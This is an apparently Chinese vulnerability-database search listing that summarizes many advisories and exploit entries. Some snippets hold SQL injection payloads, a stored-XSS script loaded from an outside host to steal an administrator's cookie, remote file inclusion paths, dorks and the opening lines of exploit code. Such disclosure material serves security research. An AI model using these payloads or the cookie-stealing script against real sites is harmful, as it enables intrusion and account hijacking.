56796 matches found
Samba服务器VFS插件afsacl.so远程格式串处理漏洞
Samba是一套实现SMB（Server Messages Block）协议、跨平台进行文件共享和打印共享服务的程序。 Samba的VFS插件afsacl.so库在处理文件名时存在格式串漏洞，攻击者可能利用此漏洞诱使用户处理恶意的VFS分区控制服务器。 Samba在调用snprintf时将磁盘上所储存的文件名用作了格式串，如果用户能够写入的共享使用Samba的afsacl.so库对AFS文件系统上的文件设置Windows NT访问控制列表的话，就可能通过文件名中的格式串标识符导致执行任意代码。 这个漏洞仅影响与CIFS共享了AFS文件系统并在smb.conf中明确要求加载afsacl.s...
Symantec Backup Exec多个堆溢出漏洞
Symantec Backup Exec Remote Agent是一款备份解决方案。 Netware Servers版本下的Symantec Backup Exec不正确验证和过滤用户输入，远程攻击者可以利用漏洞进行堆破坏攻击，可导致拒绝服务或执行任意指令。 Backup Exec 9.1 and 9.2 for Netware Servers Remote Agent for Windows Servers存在这些漏洞，根据报告Backup Exec for Windows Servers, Backup Exec Continuous Protection Server CPS...
Trend Micro OfficeScan Wizard和CgiRemoteInstall远程缓冲区溢出漏洞
Trend Micro OfficeScan是流行的反病毒解决方案。 Trend Micro OfficeScan存在多个安全问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务或缓冲区溢出攻击。 问题存在于"PCCSRV\Webconsole\RemoteInstallCGI\Wizard.exe"和"PCCSRV\Webconsole\RemoteInstallCGI\CgiRemoteInstall.exe"组件处理畸形参数时存在缓冲区溢出错误，提交精心构建的数据可能导致以应用服务程序进程权限执行任意指令。 Trend Micro OfficeScan Corporate Editi...
3Com TFTP超长传输模式字段远程缓冲区溢出漏洞
3CTftpSvc是一款Windows 9x/NT/XP平台下的TFTP服务器，实现TFTPv2协议。 3CTftpSvc在处理超长畸形的请求时存在漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 3CTftpSvc TFTP服务器在处理传送给GET或PUT命令的超长传输模式（大于470字节）时存在缓冲区溢出。如果攻击者向服务器发送了特制报文请求的话就会触发这个漏洞，导致拒绝服务或执行任意指令。 3Com 3CTftpSvc TFTP Server 2.0.1 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
weblogic 代码执行漏洞（CVE-2021-2135）
...
QRadar Remote Command Execution(CVE-2018-1418)
Vulnerability Summary Multiple vulnerabilities in QRadar allow a remote unauthenticated attackers to cause the product to execute arbitrary commands. Each vulnerability on its own is not as strong as their chaining – which allows a user to change from unauthenticated to authenticated access, to...
BMC BladeLogic RSCD Agent 8.3.00.64 - Windows Users Disclosure
Exploit Title: BMC BladeLogic RSCD agent get Windows users Filename: BMCwinUsers.py Github: https://github.com/bao7uo/bmcbladelogic Date: 2018-01-27 Exploit Author: Paul Taylor / Foregenix Ltd Website: http://www.foregenix.com/blog Version: BMC RSCD agent 8.3.00.64 CVE: CVE-2016-5063 Vendor...
TPshop 前台SQL注入#2
0x01 说明 TPshop开源商城系统 Thinkphp shop的简称 ，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。 下载地址：http://www.tp-shop.cn/Index/Index/download.html 目录大概结构 ├─index.p...
Dahua backdoor Generation 2 and 3
I'm speechless, and almost don't know what I should write... I hardly can't believe what I have just found. I have just discovered to what I strongly believe is backdoor in Dahua DVR/NVR/IPC and possible all their clones. Since I am convinced this is a backdoor, I have my own policy to NOT notify...
MS16-104: Internet Explorer URL files Security Feature Bypass (CVE-2016-3353)
On September 13th, 2016 Microsoft released security bulletin MS16-104 1, which addresses several vulnerabilities affecting Internet Explorer. One of those vulnerabilities is CVE-2016-3353, a security feature bypass bug in the way .URL files are handled. This security issue does not allow for remo...
EWEBS应用虚拟化系统的文件casmain.xgi存在任意系统文件读取漏洞
No description provided by source...
清大新洋图书馆书目检索系统通用SQL注入漏洞#2
简要描述： 通用SQL注入漏洞2 清大新洋官网：http://www.infosea.com.cn 详细说明： 图书馆书目检索系统 注入点：/opac/dzjgjsjg.jsp POSTqsrq=&jsrq=&ssxx= 漏洞证明： 通用漏洞，下面给出多个案例进行证明： 案例①：http://...:8089/opac/dzjgjsjg.jsp 案例②：.../opac/dzjgjsjg.jsp 案例③：...:8088/opac/dzjgjsjg.jsp 案例④：...:8088/opac/dzjgjsjg.jsp 案例⑤：...:8089/opac/dzjgjsjg.jsp img...
安脉学生综合管理系统5处SQL注入漏洞
简要描述： 安脉学生综合管理系统5处SQL注入漏洞 详细说明： 5处利用payload分别如下 /Asset/Device/DeviceLeadInfoView.aspx?LeadID=1 and @@version=1 /Asset/Device/DeviceLeadSearch.aspx?hidsearch=search&outstoreid=1' and @@version=1-- /Asset/Device/DeviceRebuildInfoView.aspx?DeviceRebuildID=1' and @@version=1--...
Joomla Akeeba Kickstart Unserialize Remote Code Execution
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/zip' require 'json' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include...
大米cms 暴力getshell
简要描述： rt.最近流行路人甲。 详细说明： 看到 install\index.php 漏洞证明： 如上所述。官网就不测试了。...
OpenSSL ASN1 BIO Memory Corruption Vulnerability
No description provided by source. Incorrect integer conversions in OpenSSL can result in memory corruption. -------------------------------------------------------------------------- CVE-2012-2110 This advisory is intended for system administrators and developers exposing OpenSSL in production...
IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit
No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX capture Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include fcntl.h include unistd.h include sys/wait.h include sys/select.h define TARGET /usr/bin/capture define VALCNT 40 define...
MyAlbum <= 3.02 (language.inc.php) Remote File Inclusion Vulnerability
No description provided by source. ============================================================================================== MyAlbum = 3.02 langsdir Remote File Inclusion Vulnerability =============================================================================================== Critical...
Eyeland Studio Inc. SQL Injection Vulnerability
No description provided by source. Title: Eyeland Studio Inc. SQL Injection Vulnerability Version: 2.0 Author: Mr.P3rfekT Software Site:http://www.eyeland.com/ Tested on Lunix CVE : N/A Home :www.realmadridsy.com & www.v4-team.com/cc Founded By Mr.P3rfekT Dork :Eyeland Studio Inc. All Rights...
PHPEMS (在线考试系统) 设计缺陷 Getshell一枚(官网已shell)
简要描述： 号称是最好用的开源php考试系统? 果断来看看。 已拿下官网。 详细说明： PHPEMS整合了uc。 在api/config.inc.php中 define'UCCONNECT', 'mysql'; define'UCDBHOST', 'localhost'; define'UCDBUSER', 'root'; define'UCDBPW', 'root'; define'UCDBNAME', 'ucenter16'; define'UCDBCHARSET', 'utf8'; define'UCDBTABLEPRE', 'ucenter16.uc';...
Joomla! Pbbooking组件'manage.php'跨站脚本漏洞
Bugtraq ID:66257 CVE ID:CVE-2013-5955 Joomla!是一套在国外相当知名的内容管理系统。 Joomla! Pbbooking组件'manage.php'脚本不正确过滤用户提交的输入，允许远程攻击者利用漏洞进行跨站脚本攻击，可获取敏感信息或劫持用户会话。 0 Joomla! Pbbooking 2.4 目前没有详细解决方案提供： http://www.joomla.org/ form...
Squid SSL-Bump HTTPS请求处理拒绝服务漏洞
CVE ID:CVE-2014-0128 Squid Cache简称为Squid是一个流行的代理服务器和Web缓存服务器软件。 Squid SSL-Bump中相关状态管理处理存在错误，允许攻击者提交特制的HTTP请求触发断言错误，造成拒绝服务攻击。 0 Squid 3.x 厂商补丁： Squid ----- Squid 3.3.12或3.4.4已经修复该漏洞，建议用户下载更新： http://www.squid-cache.org...
程氏舞曲CMS最新版存储型XSS（已劫持到官网管理员）
简要描述： 通过最新版存储型XSS，已成功劫持到管理员cookie，并成功登录到官方演示站后台 P.S.管理员用的电脑是：土豪MAC！ 详细说明： 在会员中心-设置-昵称修改，发现已经过滤了，但是发现只过滤了一层，于是将写成ipt，保存后发现xss成功了 于是X入了这条语句，Jim叔叔ipt src=http://126.am/SlQop0ript，发现文本框有长度限制，但是只是前台的一个限制，修改了一下html提交保存成功！ 跳转到会员首页查看源代码 然后我添加了一首歌，在管理员审核的时候就劫持到了管理员的cookie 漏洞证明： 伪造成管理员的cookie后，成功登入歌曲管理后台...
OpenSSL DTLS中间人攻击多个安全措施绕过漏洞
BUGTRAQ ID: 64618 CVECAN ID: CVE-2013-6450 OpenSSL是一种开放源码的SSL实现，用来实现网络通信的高强度加密，现在被广泛地用于各种网络应用程序中。 OpenSSL 0.9.8y, 1.0.0-1.0.1e的DTLS中继实现中，摘要及加密上下文的数据结构没有被正确维护，可使中间人攻击者通过干涉数据包传输（相关ssl/d1both.c、ssl/t1enc.c），使用不同的上下文，获取敏感信息。 0 OpenSSL Project OpenSSL 1.0.0 厂商补丁： OpenSSL Project ---------------...
Apache Struts 'includeParams' 不完整修复安全绕过漏洞(CVE-2013-2115)
BUGTRAQ ID: 60167 CVECAN ID: CVE-2013-2115 Struts2 是第二代基于Model-View-Controller MVC模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。 Apache Struts 2.0.0-2.3.14.1存在未彻底修复的安全措施绕过漏洞（CVE-2013-1966），攻击者可利用此漏洞以当前用户权限执行任意代码。此漏洞已经在Struts 2.3.14.2中修复。 0 Apache Group Struts2 2.0.0 - 2.3.14.1 厂商补丁： Apache ------...
Oracle Java SE JRE 2D子组件远程安全漏洞(CVE-2012-0497)
BUGTRAQ ID: 52009 CVE ID: CVE-2012-0497 Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。 Oracle Java SE中的Java Runtime Environment在实现上存在远程漏洞，可通过多个协议利用，未经验证的攻击者可利用此漏洞影响2D子组件，导致完全控制受影响组件。此漏洞可影响：7 Update 2、6 Update 30 0 Oracle Sun JRE 1.6.x Oracle Sun JDK 1.6.x 厂商补丁： Oracle ------...
Linux kernel 2.6.x 'SG_IO IOCTL' SCSI请求本地特权提升漏洞
Bugtraq ID: 51176 CVE ID：CVE-2011-4127 Linux是一款开放源代码的操作系统。 Paolo Bonzini发现主机linux系统允许在分区或LVM卷上执行SGIO ioctl，并允许向底层块设备传递命令。这可进一步在虚拟化上下文利用，因为virtio磁盘通过SGIO ioctl支持有限的SCSI直通。如果分区上或LVM卷上的virtio磁盘设置为format=raw，类似sgdd的工具可用于读和写相同磁盘上的其他数据，即便这些数据属于宿主机或其他guest。 0 Linux kernel 2.6.x 厂商解决方案...
JDownloader JDExternInterface.java远程代码执行漏洞
BUGTRAQ ID: 38143 JDownloader是专为Rapidshare等站点设计的网盘下载工具。 JDownloader在下载过程中所传输的密钥可能为明文或JavaScript代码，之后在Mozilla Rhino Javascript实现中执行。以下是相关代码: （plugins/JDExternInterface.jar/JDExternInterface.java）： String jk = Encoding.urlDecoderequest.getParameters.get"jk", false; ... Context cx = Context.enter;...
Linux Kernel 'fasync_helper()'本地特权提升漏洞
Bugraq ID: 37806 CVE ID：CVE-2009-4141 Linux是一款开放源代码的操作系统。 Linux内核处理锁定fasync文件描述符存在安全漏洞，允许攻击者以内核特权执行任意代码或使系统崩溃。 根据Linus分析，“问题是相同文件描述符可在多个fasync列表上，它可以在特定fasync列表上存在一次，但是文件锁定比较特殊，会使用 'fl-flfasync'列表无视在什么底层设备驱动或其他的情况下增加任意文件到它所属的fasync列表中。" 这个问题是因为它不正确假定某个文件只能在一个fasync列表中，所以fasynchelper会清除FASYNC标记。...
ToutVirtual VirtualIQ Multiple Vulnerabilities
No description provided by source. Secure Network - Security Research Advisory Vuln name: ToutVirtual VirtualIQ Pro Multiple Vulnerabilities Systems affected: ToutVirtual VirtualIQ Professional 3.2 build 7882 Systems not affected: -- Severity: High Local/Remote: Remote Vendor URL:...
vsp stats processor 0.45 (gamestat.php gameID) SQL Injection Vuln
No description provided by source. Product : vsp stats processor Version : all Dork : "powered by vsp stats processor" Site: http://www.scivox.net/vsp/ Found by: Dimi4 Date : 31.03.09 Greetz: antichat SQL-injection + URL:...
GnuBoard 文件包含漏洞&远程代码执行漏洞
GnuBoard是韩国比较常见的一个论坛，存在较多的漏洞，其中common.php存在一个文件包含漏洞 看common.php代码 @extract$GET; @extract$POST; @extract$SERVER; …… if !$g4path || pregmatch"/:///", $g4path die"meta http-equiv='content-type' content='text/html; charset=$g4charset'script language='JavaScript' alert'肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.';...
YourFreeWorld Downline Builder (id) Remote SQL Injection Vulnerability
No description provided by source. Downline Builder id Remote SQL Injection Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc script : http://www.yourfreeworld.com/script/downlinebuilder.php DorK : inurl:tr.php?id= Downline Exploit :...
Simple PHP Blog (SPHPBlog) <= 0.5.1 Code Execution Exploit
No description provided by source. ? / sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 / function curl$url,$postvar global $cook; $ch = curlinit $url ; curlsetopt $ch, CURLOPTRETURNTRANSFER, 1; curlsetopt $ch, CURLOPTHEADER, 1; curlsetopt $ch, CURLOPTREFERER,"$url"; if strlen$postvar3 $postvar="123";...
PixelPost 1.7.1 (language_full) Local File Inclusion Vulnerability
No description provided by source. Digital Security Research Group DSecRG Advisory DSECRG-08-033 Application: Pixelpost photoblog Versions Affected: 1.7.1 Vendor URL: http://www.pixelpost.org/ Bug: Local File Include Exploits: YES Reported: 22.07.2008 Vendor response: 23.07.2008 Solution: YES Dat...
Blender创建不安全临时文件漏洞
BUGTRAQ ID: 28936 CVECAN ID: CVE-2008-1103 Blender是一款免费的3D建模软件。 Blender在终止的时候创建了/tmp/quit.blend文件，而该文件使用了容易猜测的文件名并使用不安全的文件权限存储临时渲染帧，在自动保存文件时也使用了不安全的文件权限。本地攻击者可以通过符号链接攻击以运行Blender用户的权限覆盖任意文件，或泄露敏感信息。 Blender Foundation Blender 2.45 Gentoo ------ Gentoo已经为此发布了一个安全公告（GLSA-200805-12）以及相应补丁:...
Mozilla Thunderbird/Seamonkey/Firefox 2.0.0.13版本修复多个安全漏洞
BUGTRAQ ID: 28448 CVECAN ID: CVE-2008-1241,CVE-2008-1240,CVE-2007-4879,CVE-2008-1238,CVE-2008-1236,CVE-2008-1237,CVE-2008-1233,CVE-2008-1234,CVE-2008-1235 Firefox/Thunderbird/SeaMonkey是Mozilla所发布的WEB浏览器和邮件/新闻组客户端。...
Microsoft Excel多个远程代码执行漏洞（MS08-014）
BUGTRAQ ID: 28095,28166,28170,27305 CVECAN ID: CVE-2008-0112,CVE-2008-0114,CVE-2008-0117,CVE-2008-0081 Excel是微软Office办公软件家族中的电子表格工具。 Excel导入文件时处理数据的方式、处理Style记录数据的方式、处理条件格式值和处理宏的方式存在多个代码执行漏洞，如果用户受骗打开了恶意的Excel文件，就会触发这些漏洞，导致执行任意指令。 Microsoft Excel Viewer 2003 Microsoft Excel 2003 SP2 Microsoft Exce...
TUTOS 1.3 (cmd.php) Remote Command Execution Vulnerability
No description provided by source. AUTHOR : H-T TeaM HouSSaMix ToXiC350 HOME : http://no-hack.net Script : TUTOS Tested in version 1.3 other versions may also be affected. Download : http://www.tutos.org/homepage/index.html BUG : Command Execution Vulnerability...
Prozilla Directory Script (directory.php cat_id) SQL Injection Vulnerbility
No description provided by source. --==+================================================================================+==-- --==+ Prozilla Directory Script SQL Injection Vulnerbility +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZ...
iPhotoAlbum 1.1 (header.php) Remote File Include Vulnerability
No description provided by source. iPhotoAlbum v1.1header.phpRemote File Include Vulnerability D.Script: http://sourceforge.net/projects/iphotoalbum/ Discovered by: GloDM = Mahmoodali Homepage: http://www.Tryag.cc V.Code Exploit:Path/lib/static/header.php?setmenu=SheLL Greetz To: Tryag-Team &...
phpwcms <= 1.1-RC4 (spaw) Remote File Include Vulnerability
No description provided by source. PhpwCMS 1.2.6 = Multiple Remote file inclusion vulnerabilities Discovered by : |/| . .. | || ||| | | Vuln In : include $spawroot.'class/lang.class.php'; Affected Files : include/incext/spaw/dialogs/table.php include/incext/spaw/dialogs/a.php...
pppBlog <= 0.3.8 (randompic.php) System Disclosure Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "pppBlog = 0.3.8 system disclosure exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "dork: intext:"Powered by pppblog"\r\n\r\n"; / works with:...
Cisco HyperFlex HX 未授权文件上传漏洞（CVE-2021-1499 ）
Technical Analysis CVE-2021-1499 Arbitrary file upload RCE implied in the /upload endpoint. Patch --- unpatched/springpath.conf 2021-05-17 19:06:17.000000000 -0500 +++ patched/springpath.conf 2021-05-17 19:06:23.000000000 -0500 @@ -36,14 +36,7 @@ include uwsgiparams; - location /crossdomain.xml -...
Windows: Global Reparse Point Security Feature Bypass/Elevation of Privilege(CVE-2018-0822)
Windows: Global Reparse Point Security Feature Bypass/Elevation of Privilege Platform: Windows 10 1709 functionality not present prior to this version Class: Security Feature Bypass/Elevation of Privilege Summary: It’s possible to use the new Global Reparse Point functionality introduced in Windo...
Libarchive zip zip_read_mac_metadata Code Execution Vulnerability(CVE-2016-1541)
SUMMARY An exploitable heap overflow vulnerability exists in the zip archive decompression functionality of libarchive. A specially crafted zip file can cause memory corruption leading to code execution. An attacker can send a malformed file to trigger this vulnerability. TESTED VERSIONS libarchi...
ESnet iPerf3 JSON parse_string UTF Code Execution Vulnerability(CVE-2016-4303)
DESCRIPTION An exploitable remote code execution vulnerability exists in the JSON handling functionality of ESnet iPerf3. A specially crafted JSON string can lead to buffer overflow on the heap resulting in remote code execution. An attacker can send an unauthenticated packet to any reachable...
HDF5 Group libhdf5 Shareable Message Type Code Execution Vulnerability(CVE-2016-4332)
Description HDF5 is a file format that is maintained by a non-profit organization, The HDF Group. HDF5 is designed to be used for storage and organization of large amounts of scientific data and is used to exchange data structures between applications in industries such as the GIS industry via...
Microsoft Windows Kernel Local Information Disclosure Vulnerability(CVE-2017-8564)
We have discovered that the handler of the 0x120007 IOCTL in nsiproxy.sys \.\Nsi device discloses portions of uninitialized pool memory to user-mode clients, likely due to output structure alignment holes. On our test Windows 7 32-bit workstation, an example layout of the output buffer is as...